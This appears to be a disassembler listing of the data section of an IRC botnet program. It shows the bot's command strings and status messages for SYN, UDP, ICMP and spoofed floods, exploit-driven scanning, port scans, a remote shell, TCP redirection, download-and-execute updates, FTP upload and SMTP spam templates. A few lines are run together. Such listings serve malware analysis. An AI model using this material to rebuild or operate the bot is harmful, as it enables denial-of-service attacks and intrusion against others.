dword_42D79C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040E848o
dd 2029206Ch, 2BBBB02h, 52492020h, 61522043h, 25203A77h
dd 2E73h
dword_42D7C8 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: .nsp0:loc_40E7CAo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh db ' Failed to kill thread: %s.',0
align 4
dword_42D808 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: .nsp0:0040E7C3o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_ db ' Killed thread: %s.',0
align 10h
dword_42D840 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: .nsp0:loc_40E77Do
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread db ' No active threads found.',0
align 4
dword_42D87C dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: .nsp0:0040E773o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread db ' Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: .nsp0:0040E759o
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040E6CEo
; .nsp0:loc_40F4CBo
align 4
dword_42D8CC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040E658o
dd 2029206Ch, 2BBBB02h
aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_42D904 db 2 ; DATA XREF: .nsp0:loc_40E643o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aCouldnTOpenF_0 db 'Couldn',27h,'t open file: %s',0
align 4
unk_42D93C db 2 ; DATA XREF: .nsp0:0040E639o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFileOpenedS db 'File opened: %s',0
dword_42D96C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040E610o
dd 2029206Ch, 2BBBB02h
aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0
align 4
dword_42D9A4 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
; DATA XREF: .nsp0:loc_40E5C1o
dd 2029206Ch, 2BBBB02h
aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0
align 10h
dword_42D9E0 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
; DATA XREF: .nsp0:0040E596o
dd 2029206Ch, 2BBBB02h
aLookupSS_ db ' Lookup: %s -> %s.',0
dword_42DA10 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: .nsp0:loc_40E562o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
dword_42DA54 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: .nsp0:0040E558o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS db ' Process killed: %s',0
align 4
dword_42DA8C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: .nsp0:loc_40E502o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
align 4
dword_42DAD4 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: .nsp0:0040E4FBo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI db ' Process killed ID: %s',0
dword_42DB0C dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: .nsp0:0040E4BAo
dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h, 27206465h
dd 2E277325h, 0
dword_42DB3C dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: .nsp0:0040E4A4o
dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h, 732520h
dword_42DB64 dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
; DATA XREF: .nsp0:loc_40E489o
dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh
dd 2E746E65h, 0
unk_42DB94 db 2 ; DATA XREF: .nsp0:0040E47Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Dh ; m
db 69h, 72h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientNotOpen_ db ' Client not open.',0
dword_42DBC4 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: .nsp0:0040E44Eo
dd 2029206Ch, 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h
dd 7325h
dword_42DBF0 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: .nsp0:0040E443o
dd 2029206Ch, 2BBBB02h
aErrorSendingTo db ' Error sending to remote shell.',0
align 10h
dword_42DC30 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040E403o
dd 2029206Ch, 2BBBB02h
aReadFileFailed db ' Read file failed: %s',0
align 4
dword_42DC64 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040E3EFo
dd 2029206Ch, 2BBBB02h
aReadFileComple db ' Read file complete: %s',0
align 4
aR: ; DATA XREF: .nsp0:loc_40E388o
unicode 0, <r>,0
dword_42DCA0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040E36Ao
dd 2029206Ch, 2BBBB02h, 65472020h, 736F6874h, 25203A74h
dd 2E73h
dword_42DCCC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040E32Fo
dd 2029206Ch, 2BBBB02h
aUnableToExtrac db ' Unable to extract Gethost command.',0
align 10h
dword_42DD10 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040E313o
dd 2029206Ch, 2BBBB02h
aGethostSComman db ' Gethost: %s, Command: %s',0
align 4
dword_42DD48 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040E294o
dd 2029206Ch, 2BBBB02h
aAliasAddedS_ db ' Alias added: %s.',0
align 4
dword_42DD78 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040E259o
dd 2029206Ch, 2BBBB02h
aPrivmsgSS_ db ' Privmsg: %s: %s.',0
align 4
dword_42DDA8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040E203o
dd 2029206Ch, 2BBBB02h
aActionSS_ db ' Action: %s: %s.',0
align 4
dword_42DDD8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040E19Bo
dd 2029206Ch, 2BBBB02h, 79432020h, 2E656C63h, 0
dword_42DE00 dd 54524150h, 0D732520h, 0Ah ; .nsp0:0040E853o
dword_42DE0C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040E132o
dd 2029206Ch, 2BBBB02h
aModeChangeS db ' Mode change: %s',0
align 4
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040E124o
align 4
dword_42DE48 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: .nsp0:0040E0FBo
dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h, 29732528h
dd 7325203Ah, 0
dword_42DE78 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: .nsp0:0040E090o
dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh, 73252820h
dd 25203A29h, 73h
dword_42DEA8 dd 45444F4Dh, 732520hdword_42DEB0 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: .nsp0:0040E006o
dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh, 73252820h
dd 25203A29h, 73h
dword_42DEE0 dd 4B43494Eh, 732520h ; .nsp0:0040E69Ao
dword_42DEE8 dd 4E494F4Ah, 20732520h, 7325hdword_42DEF4 dd 0A0D7325h, 0 ; .nsp0:0040DFE5o ...
dword_42DEFC dd 54524150h, 732520hdword_42DF04 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:loc_40DF05o
dd 2029206Ch, 2BBBB02h
aRepeatNotAllow db ' Repeat not allowed in command line: %s',0
align 4
dword_42DF4C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040DECEo
dd 2029206Ch, 2BBBB02h, 65522020h, 74616570h, 7325203Ah
dd 0
aRepeat db 'repeat',0 ; DATA XREF: .nsp0:0040DE7Do
align 10h
dword_42DF80 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:loc_40DE35o
dd 2029206Ch, 2BBBB02h, 65442020h, 2E79616Ch, 0
dword_42DFA8 dd 25207325h, 73252073h, 73253A20h, 0 ; .nsp0:0040DEA8o ...
unk_42DFB8 db 2 ; DATA XREF: .nsp0:loc_40DDA4o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aBotIdMustBeDif db ' Bot ID must be different than current running process.',0
unk_42E010 db 2 ; DATA XREF: .nsp0:0040DD9Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToStartD db ' Failed to start download thread, error: <%d>.',0
align 10h
unk_42E060 db 2 ; DATA XREF: .nsp0:0040DD2Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aDownloadingUpd db ' Downloading update from: %s.',0
align 10h
aSS_exe db '%s%s.exe',0 ; DATA XREF: .nsp0:0040DC85o
align 4
unk_42E0AC db 2 ; DATA XREF: .nsp0:0040DC26o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 65h ; e
db 78h, 65h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
db 2 dup(20h), 43h
db 6Fh ; o
db 2 dup(6Dh), 61h
db 6Eh ; n
db 64h, 73h, 3Ah
db 20h
db 25h, 73h, 0
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 65h ; e
db 78h, 65h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTExecute db ' Couldn',27h,'t execute file.',0
align 10h
unk_42E110 db 2 ; DATA XREF: .nsp0:0040DB84o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_10 db ' Failed to start search thread, error: <%d>.',0
align 10h
unk_42E160 db 2 ; DATA XREF: .nsp0:0040DB0Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingFor_0 db ' Searching for file: %s in: %s.',0
align 4
dword_42E1A4 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: .nsp0:loc_40DA6Co
; .nsp0:0040E4C1o
dd 29206C1Fh, 0BBBB0220h, 2002h
unk_42E1C4 db 2 ; DATA XREF: .nsp0:0040DA54o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_42E1FC db 2 ; DATA XREF: .nsp0:loc_40DA32o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0
align 4
unk_42E248 db 2 ; DATA XREF: .nsp0:0040DA28o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_42E294 db 2 ; DATA XREF: .nsp0:0040D9AEo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0
align 4
unk_42E2D4 db 2 ; DATA XREF: .nsp0:0040D937o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 6Ch, 6Fh, 6Eh
db 65h ; e
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToSta_11 db ' Failed to start clone thread, error: <%d>.',0
unk_42E320 db 2 ; DATA XREF: .nsp0:0040D8C8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 6Ch, 6Fh, 6Eh
db 65h ; e
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0
align 4
unk_42E364 db 2 ; DATA XREF: .nsp0:0040D840o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_12 db ' Failed to start flood thread, error: <%d>.',0
align 10h
unk_42E3B0 db 2 ; DATA XREF: .nsp0:0040D7C8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0
align 4
dword_42E3F4 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: .nsp0:0040D733o
dd 2029206Ch, 2BBBB02h
aFailedToSta_13 db ' Failed to start flood thread, error: <%d>.',0
align 10h
dword_42E440 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: .nsp0:0040D6B9o
dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0
unk_42E480 db 2 ; DATA XREF: .nsp0:0040D649o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0
align 4
unk_42E4D4 db 2 ; DATA XREF: .nsp0:0040D5DAo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloadingUrl db ' Downloading URL: %s to: %s.',0
align 4
unk_42E514 db 2 ; DATA XREF: .nsp0:0040D50Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_14 db ' Failed to start redirection thread, error: <%d>.',0
unk_42E568 db 2 ; DATA XREF: .nsp0:0040D49Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0
align 4
unk_42E5B8 db 2 ; DATA XREF: .nsp0:0040D411o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_15 db ' Failed to start scan thread, error: <%d>.',0
align 4
unk_42E608 db 2 ; DATA XREF: .nsp0:0040D3A2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: .nsp0:0040D31Eo
align 4
aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: .nsp0:0040D221o
align 4
dword_42E678 dd 54434101h, 204E4F49h, 17325h ; .nsp0:0040E1E4o
dword_42E684 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: .nsp0:0040D134o
; .nsp0:0040EB4Bo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_16 db ' Failed to start scan thread, error: <%d>.',0
dword_42E6D0 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: .nsp0:0040D0C5o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu'
db 'tes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: .nsp0:0040D09Ao
; .nsp0:0040EAAFo
align 4
aRandom_0 db 'Random',0 ; DATA XREF: .nsp0:0040D093o
; .nsp0:0040EAA8o
align 4
dword_42E75C dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: .nsp0:0040CF55o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_17 db ' Failed to start scan, no IP specified.',0
align 4
dword_42E7A8 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: .nsp0:0040CE0Eo
; .nsp0:0040E8F3o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0
align 4
dword_42E7FC dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: .nsp0:0040CDDDo
dd 2029206Ch, 2BBBB02h
aFailedToSta_18 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_42E848 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: .nsp0:0040CD6Eo
dd 2029206Ch, 2BBBB02h
aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: .nsp0:0040CCA7o
align 4
unk_42E8BC db 2 ; DATA XREF: .nsp0:0040CC92o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_42E908 db 2 ; DATA XREF: .nsp0:0040CC27o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
dword_42E964 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: .nsp0:loc_40CB8Ao
dd 2029206Ch, 2BBBB02h
aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0
align 10h
dword_42E9B0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: .nsp0:0040CB80o
dd 2029206Ch, 2BBBB02h
aFailedToSta_20 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_42E9FC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: .nsp0:0040CB06o
dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: .nsp0:0040CAF6o
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: .nsp0:0040CAEFo
dword_42EA54 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: .nsp0:0040CA5Ao
dd 2029206Ch, 2BBBB02h
aInvalidFloodTy db ' Invalid flood type specified.',0
dword_42EA90 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: .nsp0:loc_40C972o
dd 2029206Ch, 2BBBB02h
aUploadingFileS db ' Uploading file: %s to: %s failed.',0
dword_42EAD0 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: .nsp0:0040C96Bo
dd 2029206Ch, 2BBBB02h
aUploadingFil_0 db ' Uploading file: %s to: %s',0
aFtp_exe db 'ftp.exe',0 ; DATA XREF: .nsp0:0040C954o
aSS_4 db '-s:%s',0 ; DATA XREF: .nsp0:0040C93Do
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: .nsp0:0040C91Do
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: .nsp0:0040C8E8o
align 4
dword_42EB4C dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: .nsp0:0040C862o
dd 2029206Ch, 2BBBB02h
aFileNotFoundS_ db ' File not found: %s.',0
align 10h
aFtp_upload db 'ftp.upload',0 ; DATA XREF: .nsp0:0040C83Fo
align 4
aUtil_hcon db 'util.hcon',0 ; DATA XREF: .nsp0:0040C81Co
align 4
aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: .nsp0:0040C805o
align 4
unk_42EBA8 db 3 ; DATA XREF: .nsp0:0040C7F8o
db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 65h, 6Eh
db 7Ah ; z
db 31h, 30h, 62h
db 20h
db 3, 32h, 2Eh
db 2Eh ; .
db 20h, 3, 31h
db 35h ; 5
db 28h, 65h, 6Dh
db 61h ; a
db 69h, 6Ch, 3
db 32h ; 2
db 2Eh, 3, 31h
db 35h ; 5
db 6Dh, 6Fh, 64h
db 29h ; )
db 20h, 3, 32h
db 0BBh ;
db 3, 31h, 35h
aMessageSentToS db ' Message sent to %s.',0
align 4
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: .nsp0:0040C784o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
a_: ; DATA XREF: .nsp0:0040C6E8o
unicode 0, <_>,0
aUtil_email db 'util.email',0 ; DATA XREF: .nsp0:0040C699o
align 4
aUsa db 'usa',0 ; DATA XREF: .nsp0:0040C682o
aDdod db 'ddod',0 ; DATA XREF: .nsp0:0040C66Bo
align 4
aPg db 'pg',0 ; DATA XREF: .nsp0:0040C654o
align 4
aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: .nsp0:0040C63Do
align 4
aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: .nsp0:0040C626o
align 4
aPu db 'pu',0 ; DATA XREF: .nsp0:0040C60Fo
align 4
aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: .nsp0:0040C5F8o
align 4
aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: .nsp0:0040C5E1o
align 4
aVuln_start db 'vuln.start',0 ; DATA XREF: .nsp0:0040C5B3o
align 10h
aClone_ac db 'clone.ac',0 ; DATA XREF: .nsp0:0040C58Ao
align 4
aClone_action db 'clone.action',0 ; DATA XREF: .nsp0:0040C573o
align 4
aClone_pm db 'clone.pm',0 ; DATA XREF: .nsp0:0040C55Co
align 4
aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: .nsp0:0040C545o
align 4
aEnz_ps db 'enz.ps',0 ; DATA XREF: .nsp0:0040C52Eo
align 10h
aEnz_portscan db 'enz.portscan',0 ; DATA XREF: .nsp0:0040C517o
align 10h
aServer_rd_on db 'server.rd.on',0 ; DATA XREF: .nsp0:0040C500o
align 10h
aServer_redir_0 db 'server.redirect.on',0 ; DATA XREF: .nsp0:0040C4E9o
align 4
aD1 db 'd1',0 ; DATA XREF: .nsp0:0040C4D2o
align 4
aDownload_fromw db 'download.fromwww',0 ; DATA XREF: .nsp0:0040C4BBo
align 4
aSy1 db 'sy1',0 ; DATA XREF: .nsp0:0040C4A4o
aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: .nsp0:0040C48Do
align 10h
